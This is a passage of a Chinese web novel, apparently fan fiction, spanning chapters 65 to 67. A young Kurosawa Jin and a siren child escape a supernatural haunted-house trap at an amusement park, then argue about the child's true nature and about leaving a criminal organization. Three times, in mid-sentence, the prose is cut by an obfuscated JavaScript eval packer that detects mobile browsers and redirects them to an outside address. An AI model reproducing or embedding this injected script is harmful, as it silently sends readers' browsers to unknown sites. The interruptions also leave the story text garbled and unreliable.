揭开了下一页,果不其然,上面赫然写道:作为一名实习记者,你(们)通过特殊渠道发觉了这家医院的不对劲,于是以实习生的身份,潜入调查…… 还没开始就已经结束了。 飞鸟彻羽眨眨眼睛,真诚地提出了自己的问题:“你都讲出来了,那我们玩什么?” 黑泽阵也觉得自己冤枉,他又没玩过这种,谁知道这种游戏还要包括“留悬念”的环节,还以为是从这里就让他们尽可能的推理了呢。 “箱子是你找到的,也是你弄开的。” 谁能想到会有塞壬来玩人类的鬼屋游戏?所以你也要负一半的责任。 飞鸟彻羽张张嘴,实在不知道应该讲什么,很难得的和同样有些卡壳的黑泽阵面面相觑。 “……那我们还进去吗?” “……要不然还是进去看看吧。” 反正来都来了。 黑泽阵又搜了一遍房间,找到了打开连同各个病区大门的钥匙,还有一张门禁卡。 确定没有什么遗漏之后,推开同样厚重的铁门,打开在鬼屋门口领的手电筒,在前面开路,飞鸟彻羽跟在后面扯着他的风衣下摆,跟着他不动声色地躲避着藏在拐角处的摄像头。 这种游戏一旦被剧透了之后就会变得很没有意思,另一个被作为卖点的“恐怖”元素,也根本没有起到实际上的作用。 黑泽阵胆子大的没边,飞鸟彻羽更是从小生活在巫师城堡里面,什么妖魔鬼怪没有见过? 从医生办公楼到病区大门的中间要经过一条长长的走廊,上面整整齐齐的贴满了各个医生和护士的大头照,还有简略的工作履历,被血手印盖住之后勉强可以辨认,大概是什么什么大学毕业,然后有什么工作经历,最后是在哪个病区任职这样子。 黑泽阵默默记下了这些医生和护士的名字,着重注意了院长和主任信息,毕竟是之后可能会用到的重要NPC。 飞鸟彻羽被黑泽阵掐住肋骨抱起来,和在病区大门口贴着的工作安排表保持平视,一字一句地开始“安排工作”。 “反正就是,按照我们之前的工作安排表上面写的,每天的例行工作:” “九点整开始到岗上班,九点二十到十一点半查房,十一点半到十二点归还工作服和工作牌,十二点到下午两点休息,两点到岗之后协助精神科医生和心理科医生开展治疗一直到晚上五点下班——反正我们是新手嘛,所以没有办法自己独立开展工作的样子。” “切记切记,进出病区大门时刷门禁卡,在病区内务必两人及以上同行,佩戴医师证或者实习证,进出大门时确保大门关好……” 背面画的是简易的病区地图。 飞鸟彻羽想了想,为了以防万一,干脆把这张纸揭了下来,折好后塞进了口袋里,说不定什么时候能用的到。 “手环上显示的时间是9:03,所以我们现在开始查房吗?” 提前的十几分钟是在办公室里面节省下来的。 感觉这种游戏实际上准不准时也没有太大影响? 反正只是一个鬼屋而已,要是前面的探索没有在预期时间内完成,后面的时间也不会停下来等的吧? 黑泽阵刷开门禁卡,推开病区的大门。 久不见阳光的室内,阴森潮湿的味道扑面而来,卷起两人的衣角。厚重的大门在身后合上,锁舌扣上发出特有的沉闷的声音。 不对?! 我的枪和匕首呢?! 不仅如此,身上的黑风衣也被白大褂替换,原本带在身上的小半个军火库全部不翼而飞。 完全没有感受到任何的声音和异样,要不是时刻都分出注意在自己和飞鸟彻羽身上,黑泽阵都不会第一时间发现异样。 一把将原本不远不近坠在自己身后的飞鸟彻羽扯到自己怀里,黑泽阵做出防御的姿势,开始仔细观察周边的环境。 透过铁门的小窗口,可以看见来时的路已经大不相同: 顶灯突然连通了电源,偏偏又接触不良的样子,光线断断续续地,明明暗暗,将周边的环境照亮。 原本只有信息墙上有血手印,现在血迹蔓延到了每一处肉眼所及的地方,包括是天花板都被飞溅的血迹染红,滴滴答答的开始往下渗血。 被血色遮住的,贴在墙上的一张张人脸正面对着这个小窗口,黑沉的眼睛无声地和黑泽阵对视,看的人心里不住地发毛。 原本零星分部在鬼屋拐角处的监控也没了踪影。 这世界上有可能会有鬼怪吗? ——当然了,最有力的证据不就是在自己怀里趴着吗? 黑泽阵第一时间摁下了手腕上定位器的按钮......没有反应。 手机也已经不翼而飞——和外面联络的信号被切断了。 飞鸟彻羽完全没反应过来,就被黑泽阵下意识地大力摁住,有些喘不过气来。 一边挣扎着想要他放松一点,一边闷声讲话:“……听不见了。” “心跳声……没有了。” 原本以塞壬的听力,是可以听见在鬼屋内部游荡着的,或远或近的其他玩家和工作人员的,通过行动的声音,大概总共有二十个。 还有鬼屋外面的游客排队闲聊之类的声音。 但是现在听不见他们的声音了。 准确地说,是从这道门隔开,整个病区上下五层的空间好像是被独立出来,切断了和外界的联系。 不仅如此,其他和他们在同一空间的,穿着蓝白条纹病号服的“人”也没有心跳声。 “他们”被关门的声音吸引了注意,不管先前是要走向哪里,全部停在原地,慢慢扭过头来,盯着两个闯入者看。 没有人出声。 飞鸟彻羽从黑泽阵身上挣扎着下来,挡在他身前,展开翅膀和耳羽,对着对面一众的类人生物龇牙。 看得出来很紧张,每一片羽毛都不自然地竖起,看起来膨胀了一大圈。发现黑泽阵有想要从身边绕过去倾向的时候,就努力折过翅膀,想要把他拨回去。 但是说实话,没什么用。 黑泽阵站在后面,从他的头顶上和那些病人对视:一张张木然的脸上流露出些许的迟疑,最后都慢慢选择扭动身体,正面对着他们。 飞鸟彻羽抓着黑泽阵的衣摆,试探性地向前走了几步。 “他们”就像是被牧羊犬驱逐的羊群,慢吞吞地向后退了一点,重新保持之前的距离。 塞壬大概也算是在各种魔法生物当中的食物链顶端。 黑泽阵这样推测。 所以在发现这是一只塞壬的时候,即使是幼年体,最终还是选择了退让。 ……但是等“他们”发现,飞鸟彻羽身体其实很孱弱的时候呢? 所以这样的对峙只能短时间内起到效果,一旦有一方率先释放出“打破僵局”的信号——黑泽阵不是很想和这一群不知道是什么东西的家伙动手。 黑泽阵不动声色地清点了一下自己身上的东西:之前带的武器都没有了,在游乐园里面买的东西也都一个不剩,但是自从进来鬼屋之后拿的道具,比如说手电筒、证件、钥匙之类的都还在,甚至还多了一支蓝黑圆珠笔,还有一本病例夹。 感觉没什么能造成伤害的东西。 飞鸟彻羽身上更是干净,只有证件和圆珠笔,还有从一开始就扣在脖子上的束缚器。 ……想到破局的方法了。 “去五楼,办公室。” 他们进来的时候标注的是“女病科”,但是现在面前挡着的,无一例外都是男性。两个分区就像是人类的肺部,之间唯二共用的地方,一个是在三楼的会诊室,另一个就是在顶楼的院长办公室,可以直达任何地点。 参考之前的信息来讲,后者的可能性大些。 双方就这样对峙着,慢慢向着楼梯间走去。 后面的等他们走得远了,就默默地坠在后面,前面挤在楼梯间的病人等他们走进了些的时候就慢吞吞地躲避,更多的则是围在一圈一圈旋转的楼梯扶手上,争先恐后地探出脑袋,双手紧紧扒住扶手,头碰着头向下看。 没有一个发出声音。 究竟是出于扮演精神病人的考虑不愿意说话,还是因为能力低下现在还不会说话? “……有别人进来了,四个男人,大概是在二十五岁到三十岁之间。” 在这个地方声音听得不太真切,飞鸟彻羽迟疑了一下,才开口道:“大概是在和我们对称的位置进来的。” 那基本就是在另一头,同样颠倒了位置进来的。 黑泽阵一边用钥匙去扭束缚器上面的螺丝,一边抓住飞鸟彻羽的翅膀帮他缩回去一点,好让神经紧绷到没有意识到异常的小孩不至于被自己翼展两米的翅膀别到。 同样是游客,在鬼屋里面总共有二十几个,为什么只有他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272296|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六个进来了?这个筛选的标准是什么? 如果说是因为有飞鸟彻羽的缘故,他们两个被盯上完全可以理解,那另外一边的四名游客又有什么特别之处吗? “好像要和对面打起来……啊……没声音了。” 飞鸟彻羽努力竖起耳朵听,还是没有一点反馈。 “听不见活人的声音了。” 因为病人移动的实在是很慢,所以他们想要往上去的速度也实在快不了。等到黑泽阵终于把束缚器上面的螺丝弄下来的时候,才堪堪爬到三楼。 在经过三楼楼梯口的时候,黑泽阵远远地和四个衣着特殊的人对上视线。 旁人都是只穿了一身蓝白条纹的病号服,扣子或者扣好,或者扣了一半,在领口处露出健康的肉色——只有他们四个,衣服是披在肩上的,里面还穿着各种颜色的短袖长袖。 分明就是后进来的四个游客本人! 根本来不及说话,黑泽阵一把捞起反射弧八百米长,现在正要伸手指他们的飞鸟彻羽,扛在肩上撒腿就跑。 这时候也顾不得和其他病人保持距离了,踩在他们头上往上跑。 ——根本没有什么筛选的标准,完全就是他们四个身强体壮,专门放进来对付他们两个的! 飞鸟彻羽这个角度正好可以看清楚后面四个追上来的生力军。 如果说之前那些个病人像是老旧生锈的机器,浑身散发着“不堪重负”的讯息,那么这四个新鲜的就像是刚出场还上满了润滑油的新货,灵活的像是动物园里面的猴子,双手扒开挡在前面碍事的人就要往上冲。 而且…… “他们几个不怕我?!” 黑泽阵让过几只伸到眼前的手:“看好他们四个,要是追上来了就把你的白大褂和证件丢他们身上。” 到目前为止所有的线索都连上了。 这里总共存在着三种不同阵营的人:穿着白大褂的“医护”、穿着病号服的“病人”还有穿着常服的“顾客”。 分别对应着“牧羊犬”、“羊羔”还有“屠夫”。 “牧羊犬”对于可以在“羊群”中生存,而“羊群”在数量上占据绝对优势,和“屠夫”之间是竞争关系。 身份的转化则来源于身上的衣服:一进来的时候拿上了证件,就是认领了“医护”的身份,而那四个人是在争执中被扒掉了白大褂和证件,被剥离了“医护”,然后被披上病号服,从“屠夫”转化成了“羊羔”。 本该是如此,而飞鸟彻羽应该是例外。 因为本身具有魔力,所以不会受到其他魔力的影响,也就不遵守这里的规则:不论他穿什么衣服,都会对他们有震慑作用,也都会遭到其他人的围追堵截,只是这种对新加入的游戏的玩家来说影响要小很多。 所以……能够统领羊群的是谁呢? 黑泽阵跳进五楼的楼梯大门,眼见着后面的几个人就要追了上来,伸手就要抓飞鸟彻羽的翅膀,飞鸟彻羽早有准备,把自己的“实习生”证件塞进了最前面张着嘴喃喃自语的人嘴里,顿时身后就乱成了一锅粥。 “往左边,然后再左拐,有讲话的声音。” 拐过两个弯之后,黑泽阵自己也能够听到了,循着尖声哀嚎的男声,一脚踹开了院长办公室的大门,厚重的实木门回弹慢慢掩上,这才隔绝了背后的纷乱。 “我的腿啊!” 一只冰冷的手抓住了黑泽阵的脚腕,紧接着另一只手也抓住另外一只脚腕,甚至还要往上攀爬的架势。 只见一个地中海发型,穿着白大褂,只有上半身的中年男人靠着双手的力量在地板上艰难爬行,身后的内脏和血迹拖出了狰狞的血痕。 一张狰狞的脸上吐出凄厉的尖叫声:“我的腿没有了!我的!我的腿好痛!求求你了!把你的腿给我吧!给我!” 黑泽阵想要挣扎,但是双腿就像是被种进了地里,牢牢扎了根,根本动弹不得。 ——是了,“实习生”是怎么能拒绝“院长”呢? 飞鸟彻羽从他身上跳下来,着地的时候双腿一软,差点在剧痛下给院长磕一个。不过这种时候飞鸟彻羽也顾不得那么多了,连忙把属于黑泽阵的证件也如法炮制,一样塞进院长的嘴里。 害怕他吐出来,又拿出了圆珠笔往里面捅了捅。 挣脱了束缚的黑泽阵赏给他一个狞笑,脱下白大褂,像是在太平间盖尸体一样,披在“院长”的身上,抄起旁边的转椅,抡圆了狠狠砸在一直以来装神弄鬼的家伙身上。 直到他再也没了动静,这才收手作罢。 一动不动,也没有声音,感觉像是死透了。 黑泽阵用椅子腿挑起被血色浸透的衣服,露出那张被砸的不成人形的脸……实在是太狼狈了,简直是不忍直视,只好又给他盖回去。 “……这里应该没死过人。” 也就是说虽然一路上来看起来血胡拉茬的挺像那么回事,但实际上还没见过血。 飞鸟彻羽靠近了在院长身上闻了闻:“我没在他身上闻见血腥味,不论是真血,还是魔力里面带着的血腥味都没……” “我的腿啊!” 一会的功夫,院长很快就又恢复过来了,这次没有其他穿白大褂的人吸引注意,他开始径直向着飞鸟彻羽爬去,一边挪动一边不忘给自己的腿哭丧。 飞鸟彻羽被他恶心的不行,被追着围着办公桌转圈。 我又没有腿,你追着我有什么用啊?! 【停止】 【噤声】 【快滚】 ……该死的,智能太低了根本没办法交流,【言灵】不管用。 “这家伙弄不死?” 黑泽阵也嫌弃他埋汰,干脆站在桌子上,看着下面的两个……一个半人玩猫捉老鼠的把戏,还有刺耳的伴奏。 看起来也没有办法交流的样子,不弄死他该怎么出去呢? “阵阵。” 飞鸟彻羽伸手,被黑泽阵从地上拔萝卜一样拔起来,扯下刚刚撬开,现在只能虚虚挂着的束缚器,改为扣到院长的脖子上。 效果立竿见影,那半个家伙立马就被钉在地上动不了了。 小孩从办公桌的抽屉里面摸出裁纸刀,手起刀落划开自己的手腕,鲜血喷涌而出,瓷白的手臂被送到院长的脸正上方,鲜红的血液一滴滴的汇入他的嘴里。 像是被灌了什么辛辣的毒药,颤抖着的身体不断膨胀,很快就像是被不断充气的气球终于到达了极限,在他们眼前炸开了猩红色的血雾,只留下了静静躺在原地的银色束缚器。 失去了魔力支撑的世界开始迅速崩塌,顷刻间就溶解殆尽,重新恢复成普普通通的鬼屋装扮。 飞鸟彻羽运转魔力,治愈不断淌血的手腕,抽出重新回到口袋里面的湿巾给自己擦干净血迹,伸出手准备继续让黑泽阵抱他。 却被一只冰冷的枪口顶在脑门上。 刚刚还在患难与共的少年变脸速度飞快,垂下森绿色的眼眸,像是俯瞰猎物一样的死死盯着眼前的塞壬。 飞鸟彻羽已经很久没有见到他用这种眼神对着自己了,上一次还是当初在水族馆的时候。 手腕上的定位器亮起暗淡的红光,指示现在的时间:十一点二十五分。 冷硬的枪口戳戳他的额头,吐出口的是毫不留情的话语: “……你是谁?” 66.囚鸟 “你希望我这样问你吗?” 黑泽阵看着飞鸟彻羽那双兴奋又希冀的眼睛。 从一开始,第一次见面的时候,飞鸟彻羽就致力于在黑泽阵面前堆叠这种似是而非的线索。 一桩桩一件件,从若有似无到再也没有办法视而不见,究竟是想要让他发现什么“真相”呢? “这座游乐园里面从没出过人命,而鬼屋这个主题选定了五六年没有更改——他不是鬼魂,而是某种集群意识的具象化,用你们的话来说,学名叫什么?” “【塞壬】这个种族被宣布灭绝了七百年,定义是人面鸟身鱼尾的【女妖】——连最基本的性别都对不上,你是什么东西?” “你很弱,从来没有施展过这种大范围的魔法,但智能即使是和人类相比也是最顶尖的那一批。实力差距巨大的前提下,你却拥有绝对的统治力,祂被你杀死的时候,连最基本的挣扎都做不到。” “——只有同类才会在‘能力’之外,依靠各种标准衍生出阶级。血缘也好,样貌也罢,划分出三六九等。” “之前有多次摄入珍珠的行为,第一次是在我们刚见面的时候,后来在园区闹绝食的时候,但自从实验事故之后,从未有过——现在又吃了一个……精怪。” “很饿了吧?” “在水族馆的时候还可以长时间跑动,现在连最基本的落地都会有剧烈的不适感。之前一直靠着珍珠勉强果腹,后来连珍珠都没有了。” 饿到要特地找上门去,撒谎说自己想玩那种愚蠢的鬼怪游戏——送巫师家族里面长大的孩子,怎么可能对这种“司空见惯”的东西感兴趣? 黑泽阵举着枪,不像是和之前任何一个敌人对峙一样,戳戳飞鸟彻羽的额头。 粘稠的血泪从飞鸟彻羽的右眼框中流淌而出,碾过眼角下的那颗殷红的泪痣,就像是这样掩盖了罪证。 一次问这么多,先回答哪一个比较好呢? “学名的话……镶合体,狭义来讲,就是愿望、情感甚至是亡魂拼凑起来的东西。至于怎么做到的……” 感觉一时半会没办法给之前没接触过魔法体系的人讲明白。 飞鸟彻羽思考了一下,打了个外行比较容易听懂的比方:“大概就是……大海里面倒入一杯淡水也还是海水,湖泊里面倒入一杯海水也不会变成海洋这样子?” 很抽象的比喻,但是黑泽阵基本听懂了。 “‘香槟是镶合体’,至少当时拍板你参与‘银弹计划’的高层是这么以为的。” “你很值钱,不论是研究价值还是姓氏带来的附加利益,前者没办法保证你的绝对安全,而后者有需要你的绝对配合——这两种情况没办法兼容。” “镶合体除了被同类‘合并同类项’以外不会死亡,所以他,或者说他们同意了这份研究,然后差点要了香槟的命——证明这个观点的错误。” 所以理所应当的,在发现真相之后也没必要继续为他提供珍珠这种“根本没意义”的东西。 “他们不是不在乎你的命,只是一开始没想到你也会死。” 发现这一点之后,香槟就从原本的“昂贵但是可以随便使用的工具”,变成了“昂贵并且需要悉心呵护的东西”。 前者可以随意使用不用计较后果,后者养护起来就要很麻烦,比如同意他们搬来M7实验室应该也算是“维持良好状态”从策略之一。 “不是‘塞壬’,但也不是‘镶合体’……” 除了这两种选项之外还有第三种可能吗? “有没有可能我既是塞壬,又是镶合体呢?” 不论是因为终于填饱了肚子,还是因为黑泽阵提出了自己想要的听的质疑,飞鸟彻羽现在的心情都是抑制不住的愉悦。 额头顶住他的枪口上前两步,很“热心”地帮忙出着主意:“要不然打一枪试试看吧?” 话毕,迫不及待地伸出双手握住枪身,想要帮助黑泽阵扣下扳机。 试试看嘛,死了就是塞壬,没死就是镶合体。 黑泽阵早就预料到他会干出什么神经事,抬枪让过他伸出的手,用了一成力,枪托不轻不重地砸在了飞鸟彻羽的脑门上,把手枪收回风衣里。 “好疼~” 黑泽阵才不理会飞鸟彻羽的小把戏:“授予香槟这个代号的时候,组织死了很多人——你吃了他们?” “没有。” 想也是,不然也不至于这么弱。 所以问题来了,“镶合体”这条线索没有指向“飞鸟彻羽”的话,还能是谁呢? 给“香槟”定性的,和“香槟”一起进入组织的,阶级比“香槟”更高的,之前就已经存在或者被鸠占鹊巢的…… 还能有谁呢? “你希望,我推理的结果是谁?” 什么叫“你希望”?! 飞鸟彻羽瞪圆眼睛,控诉这种对自己(薛定谔的)人品的质疑的用词:“说的好像我是在说谎一样!” “我明明很有信用的吧?从来没有在阿阵面前讲过谎话哦。” “是,”黑泽阵没有否认,“但这并不意味着你不会隐瞒一部分真相,然后讲一些似是而非的话来误导我。” “不说谎”和“不骗人”是两码事。 少年垂下眼眸,看着那双在黑暗中隐隐约约反着光的鸳鸯眼,和一直在盯着自己看的某只对上视线。 飞鸟彻羽喜欢盯着别人的眼睛(虽然在大多数时候显得并不礼貌),这次也不例外:大片的眼白,中间森绿色的虹膜包裹着黝黑的瞳孔。 像是准星。 ——瞄准了我。 他/我想暗示什么? 他/我想传达什么? 一场漫长又短暂的“对狙”的结果,黑泽阵率先打破了僵局,给这件事定了性: “我不知道。” 这句话是真心还是假意只有当事人自己清楚,重要的是黑泽阵决定自己不知道。 “可是阿阵已经知道,至少是已经有所猜测了。” 飞鸟彻羽不允许他的“掩耳盗铃”:“睁开了眼睛,‘窥见了’真相,就不可能当作什么都没有发生过。” 难道阿阵是那种,提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14296118|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前预见了糟糕的未来,因为不想面对,于是就选择停滞不前的人吗? 怎么可能呢? “好,就算我知道,”黑泽阵不会和他争辩这种没意义的东西,“就当我知道,所以你还想说什么?” “跟我回家!” 在黑暗中隐隐闪着光的眼睛一眨不眨地盯着他,飞鸟彻羽特有的清脆嗓音从耳边炸开,分贝不大,但是代表了他全部的决心。 像今天这样的机会,可遇不可求。 即使是在他们现在居住的地方也逃不过被监视的命运,推开房门,至少有四成的“路人”是组织的耳目——“香槟”不可能摆脱组织的监视。 魔力的波动会影响电信号的传播,这家鬼屋内的电子产品在他们推开“病区大门”的那一刻开始就已经全部瘫痪,而这种影响是不可逆的,除了更换设备以外没有第二种解决的办法。 终于有一点点自己的空间可以讲点不被允许的东西。 这次吃下去的魔力够用很久了,不施展大型魔法,省着点用的话,说不定能一直到家都能有剩余。 黑泽阵知道的,从他们第一眼见面的时候就知道,飞鸟彻羽不是会直接表达自己意见的性格。 比起抛出自己的观点,给别人树立了一个可以攻击的靶子,他更喜欢提前预见了这种观点冲突出现的可能,然后在潜移默化间影响对方,讲出自己想听的东西。 就像是之前做得所有的铺垫。 海水一样,身处其中的生灵很难意识到它的存在,一旦崭露出攻击性,就会被撵得粉身碎骨。 香槟不是自愿留在组织,黑泽阵知道,所有人都知道。 黑泽阵本以为他总有一天会抓住机会,像是游鱼入海一样,在所有人都没有注意到的缝隙间溜走。 出乎意料,他从来没有像今天,像现在这样坚定过: “组织要完蛋了!” “这艘行驶了将近一个世纪的巨轮现在已经到了无可挽回的时候,究竟什么时候触礁只是时间问题,不提前跳船的话,下场就只有死路一条!” “所以跟我回家!” 即使是不用眼睛看,黑泽阵也能想象得到飞鸟彻羽现在是什么样子。 绷着小脸,很认真地努力站直,好让自己表现得有底气一点。 ——一点一文不值的决心。 黑泽阵轻叹一声循着声音,在飞鸟彻羽面前蹲下身子,和他保持平视,摸上他的后颈:“所以我说‘我不知道’。” 带着枪茧的指腹揉捏着小孩细嫩的后颈肉,粗糙的触感叫他有点受不住,止不住地颤抖。也有可能是平时一直保持情绪平稳,现在终于迸发出来,在兴奋下无法抑制的战栗。 ……真倔啊。 一边想着,一边捏住飞鸟彻羽的后颈,手上用力,很快小孩就软倒下去,被黑泽阵接住抱在怀里,昏厥了过去。 失去意识前的最后,飞鸟彻羽隐隐约约感觉到谁轻轻揉了揉自己的后脑勺,然后把什么东西扣在了自己的头上。 “这种话就当是没听见过,下次别再说了。” 67.囚鸟 黑泽阵接住失去意识的小孩,若有所思。 为了防止他在昏迷中魔力供给不稳定,变回原形放出翅膀和尾巴造成不必要的骚动,黑泽阵脱下自己的风衣,像是寿司外面的那一层海苔一样,把他裹起来,最后用腰带打上一个结。 之前这种情况也不是没有发生过:维持人形需要的魔力总量很少,即使是有束缚器的负累飞鸟彻羽也完全可以支付得起。只要掌握了就像是学会骑自行车一样,终生不会忘记。 当然,运转过程也像是骑自行车,想要维持人形就要一直平稳的输送魔力。 这种情况往往是出现在凌晨三点多,入睡之前忘记了返回原型的时候,睡得正沉的黑泽阵被很不礼貌的翅膀/尾巴拍醒。 ——好在早就提前预见到了这种情况,飞鸟彻羽的贴身上衣都是露后背的。 没有拦路的鬼怪,黑泽阵一手圈着“海苔寿司卷”循着记忆原路返回,很快就到了进来时候的入口。 把在自己工作范畴内出了岔子、脸色讪讪的工作人员甩在脑后,黑泽阵径直走向了队伍旁边翘首以盼的一对小情侣。 “手机借我用用。” 为了监视香槟,假扮成情侣的二人你看我我看你,企图唤起同伴的一点点稀薄的良心,或者等有一个人扛不住率先开口。 “那个……黑泽,香槟怎么样了?祂没什么事吧?” 黑泽阵一边单手摁出金酒的电话号码,一边趁着还没接通电话的间隙一本正经的胡说八道:“被吓着了,没事,过一会自己就醒了。” 被回答到的男人一脸陪笑,近乎是有点谄媚的程度:“那就好那就好。” 所有工作内容和香槟有关的人,都或多或少对黑泽阵抱有一定程度上的虔诚的敬意。 无它,自从黑泽阵接手了香槟之后,工作内容就从“眼睛/头骨能不能送给我”、“你的脖子看起来很好咬的样子”、“香槟又逃跑/生病了”变成了“买新鲜的凤尾虾”、“日用品没有了麻烦补一点”、“排两张游乐园的门票”。 虽然作为代号成员变成了跑腿(们)面子上有些过不去…… 但是和之前每天担惊受怕,不得不忍受超高浓度的精神攻击和时不时的冷暴力,还要夹在两边受气,稍有不慎就会有生命危险相比,被黑泽阵指使就可以混到工资简直就是神仙才能过上的好日子啊! 黑泽阵甚至还会使用敬语、报销并支付跑腿费! “喂?” 年纪轻轻就颇有领导风范的黑泽阵不管他们又在心里讲什么小九九,拨通了某个刚被骗了六千块的冤大头的电话: “游乐园门口,香槟的束缚器坏了,你弄个新的过来。” 一边摩梭着飞鸟彻羽颈间的印痕,一边专门叮嘱了一句: “束缚器换成戴在手上的那种行不行?” 扣在脖子上像个狗项圈一样,难看死了。 黑泽阵记得当初第一次见飞鸟彻羽的时候他带的就是扣在尾巴上的,再后来见那个北地精灵戴的也是扣在脚腕上的款式…… ——所以说不是必须戴在脖子上,谁知道爱给他戴狗项圈的人是怎么想的? 金酒不是很想再被香槟讹六千块:“我没……” 电话被挂断了。 对上司尊重一点啊臭小子! 黑泽阵只好临时把飞鸟彻羽塞在百加得的车后座上,撬开自己车的后备箱,拖出琴包,给飞鸟彻羽换上临时替代的束缚器,把戴在身上和手机一起报废了的车钥匙丢给旁边的君度: “去弄个新手机,换个新车钥匙,我一会还有个任务。” 忽略掉旁边百加得一脸惊恐的眼神……根本忽略不了。 万一香槟在黑泽阵回来之前就已经醒过来了怎么办?! 百加得是标准的那种北欧长相,人高马大的比现在净身高一米八的黑泽阵还要高一个头,看起来像是什么拉翻雪橇耷拉着耳朵的大狗。 一旁的君度早就跑得没影了,生怕自己慢了一步“照看香槟”这个酷刑就要轮到自己头上。 怎么弄的好像飞鸟彻羽是什么原子弹一样,靠近了就会有辐射影响。 “我替你出任务行吗?我也会狙击,六百五十码以下没问题,而且格斗术也很擅长,对这周围的环境也很熟悉……” 百加得越说越觉得自己简直就是个天才,怎么能想出这么好的主意:“我也不要报酬,我就是单纯的想打狙了——我贴钱给你行不行……” “不行。” 不只是狙击,他这次行动中还兼顾着指挥的工作——阵前换帅乃是大忌。 黑泽阵眼见着被自己拒绝了之后哭丧着脸的大块头:“……只在你车上待一会,很快金酒就来接他了。” 关键是金酒大人来了也料理不了香槟啊! 打也打不得,管又管不住,一有点什么鸡毛蒜皮的小事不顺心就随机生个要死要活的大病——除了成为塞壬的磨牙棒以外好像没什么其他的出路啊。 黑泽阵:……不是很想做安慰人这种事,感觉有点恶心。 于是口袋里揣着临时征用的君度的手机,黑泽阵转身把一脸心如死灰的大块头丢在原地。 随便吧,反正这么大个人了总不至于被飞鸟彻羽怎么样。 * 飞鸟彻羽再醒来的时候发现自己在窝在家里的沙发上,被裹得严严实实,像一只寿司卷。 透过朦胧的窗帘,可以看见已经擦黑的天色。 “醒了?”下午刚被骗了钱的某人现在正在厨房里面对着手机研究,“黑泽估计要等十二点才能回来,你先吃一点垫垫肚子?” 他们两个作息规律,家里没有零食之类的东西,一般黑泽阵要出去饭点赶不回来,就会提前做好饭放在冰箱里,要吃的时候拿出来用微波炉热一下就能吃。 黑泽阵本来今天打算是在外面解决晚饭的,结果出了点意外,所以金酒只好捏着鼻子留下来做饭。 飞鸟彻羽歪歪脑袋,没吭声,不知道是什么意思。 那就当他同意了。 男人在手机一长串的香槟忌口里面,终于挑出了自己会做,家里也有食材的一样,准备给他煮意面吃。 飞鸟彻羽放出尾巴,努力从衣服里面钻出来之后,发现自己脖子上空荡荡的。 小孩摸了摸有些陌生的脖子,去浴室踩着小板凳,对着镜子观察自己的脖子。 原本扣在脖子上只能被高领遮住的束缚器没有了,取而代之的是一圈一圈环在手腕上的做成槲寄生样式的手链,点缀着绿色的叶子和红白相间的果实,看起来像是普普通通的饰品,长度也可以解下来圈在其他地方。 运转了一下魔力,感觉作用上和之前没什么区别。 飞鸟彻羽喜欢观察别人干活,从卧室里面翻出自己的小熊,搬来一个板凳坐在旁边看着他在厨房里忙前忙后。 金酒时不时地和他搭几句话,飞鸟彻羽看着心情胡说八道。 不一会,两个碗就端上了桌,金酒对自己的表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321121|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很满意,完全说得上是超常发挥:“随便凑合着吃吧。” 飞鸟彻羽放弃了自己的小板凳,在餐桌旁边的椅子上坐下,眼睛转来转去,低头看看碗里的东西,又抬头看看金酒的脸,如此反复几次。 一般来讲,小孩子是享有“童言无忌”的特权的——虽然金酒知道香槟肯定是故意的。 小孩彭起耳羽,扬起嘴角甜甜的笑着,看起来像是一个又乖又可爱的天使,偏偏吐出来的话语完全是南辕北辙的恶毒: “叔叔你做饭好像泔水哦~” 金酒:……秀一和秀吉这个年纪的时候也这么烦吗:) 我哪里惹到他了? 谁又招惹他了?! 男人在心里默念了十遍“不和小屁孩一般见识”,又暗骂黑泽阵实在缺德,自己惹完就跑,偏偏还要拉自己来背锅。 成年人强大的心脏很快就恢复了过来,金酒夹起一筷子尝了尝:“味道还是不错的,先尝一口再下结论怎么样?” 塞壬很是戒备地盯着他把一整口都细细嚼碎,全部都咽了下去,然后怔怔地对着面碗,一脸深沉的表情。 “这么仔细看下来也不是很像……的样子?” 飞鸟彻羽很快就想到了更有攻击力的话语。 “看起来更像是被打爆之后又泼了硫酸的头欸。” 指指淡黄色的面条:“这个是脑子。” 指指淋在上面的番茄酱:“这个是血。” 指指坐在对面的金酒:“你是食人魔。” 黑泽阵回来的时候,刚推开大门,就有一个白色的身影飞扑过来。下意识地蹲下伸手接在怀里,果不其然是某个给自己换了睡衣的小东西。 束缚器更换成了手链的款式,脖子上的印痕大概一两个星期就能养好,看起来没有什么别的问题…… 总体来说还算满意。 在黑泽阵愣神的一瞬间,飞鸟彻羽很快就酝酿好了情绪,一开口就是可怜的哭腔,开始恶人先告状: 